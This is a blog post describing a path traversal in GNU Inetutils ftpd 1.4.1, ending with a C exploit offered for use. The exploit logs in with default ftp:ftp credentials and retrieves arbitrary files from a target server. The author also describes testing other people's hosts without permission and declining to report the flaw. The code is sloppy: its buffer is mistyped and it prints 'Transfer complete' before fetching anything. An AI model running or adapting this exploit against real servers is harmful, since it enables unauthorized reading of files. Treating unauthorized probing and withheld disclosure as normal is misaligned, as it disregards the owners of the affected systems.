A story about a Path Traversal in a GNU Inetutils ftpd

A story about a Path Traversal in a GNU Inetutils ftpd

·

2 min read

Table of contents

Today I will write about a path traversal that I found in a GNU Inetutils ftpd (more precisely in version 1.4.1). The vulnerability is very simple to exploit, connect to an ftp server (usually you have to use a valid login, not anonymous) and send a RETR message, but I created an exploit to exploit this vulnerability (even though I don't need to).

The File Transfer Protocol is a standard communication protocol used for the transfer of computer files from a server to a client on a computer network. FTP is built on a client–server model architecture using separate control and data connections between the client and the server.

A directory traversal is a form of insecure direct object reference where insufficient security validation or sanitization of user-supplied file names can be exploited, such that characters representing "traverse to parent directory" are passed through to the operating system's file system API. An affected application can be exploited to gain unauthorized access to the file system.

It all started when I tried to hack my router and I discovered a port 21 (everybody knows it is ftp) so I tried to log in with anonymous user credentials (ftp:ftp) and succeeded, after that I did some basic tests until I got to "LIST /" and could list files from the rootfs. This fault occurs in the retrieve() function (line 851) that is called on line 1899.

After this was done, I tried to see if other hosts that use the same software as ftpd are vulnerable.... And they were!

It is worth noting that I have not reported this vulnerability to MITRE, much less GNU. But that doesn't mean that I intend to use this vulnerability for malicious purposes.

I wrote an exploit (if you don't want to use it, just use an ftp client and use "ls /somefile").

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#define LEET_USER "ftp" /*change if the server does not accept ftp as username*/
#define LEET_PASS "ftp" /*change if the server does not accept ftp as password*/
int main(int argc, char *argv[]) {
    CURL    *ch;
    CURLcode cc;
    FILE    *prnt;
    char    *h0st[BUFSIZ];
    strcpy(h0st, "ftp://");
    strcat(h0st, argv[0x1]);
    strcat(h0st, "/");
    strcat(h0st, argv[0x2]);
    curl_global_init(CURL_GLOBAL_DEFAULT);
    ch = curl_easy_init();
    printf("%s\x20%s\x0d\x0a",    "\x1b[32m[\x1b[92m+\x1b[32m]\x1b[0m Connected to", argv[0x1]);
    printf("...\x20%s\x20%s\x0d\x0a", "Opening BINARY mode data connection for",         argv[0x2]);
    printf("...\x20%s\x0d\x0a",       "Transfer complete");
    if (ch) {
        curl_easy_setopt(ch, CURLOPT_URL,      h0st);
        curl_easy_setopt(ch, CURLOPT_USERNAME, LEET_USER);
        curl_easy_setopt(ch, CURLOPT_PASSWORD, LEET_PASS);
        prnt = fopen("/dev/stdout", "wb");
        curl_easy_setopt(ch, CURLOPT_WRITEFUNCTION, NULL);
        curl_easy_setopt(ch, CURLOPT_WRITEDATA,     prnt);
        cc      = curl_easy_perform(ch);
        if (cc != CURLE_OK) {
            fprintf(stderr, "\x1b[31m%s\x0d\x0a\x1b[0m", curl_easy_strerror(cc));
            return(0x1);
        }
    }
    printf("...\x20%s\x0d\x0a", "Goodbye.");
}

That's All Folks!

References:

https://en.wikipedia.org/wiki/Directory_traversal_attack

https://en.wikipedia.org/wiki/File_Transfer_Protocol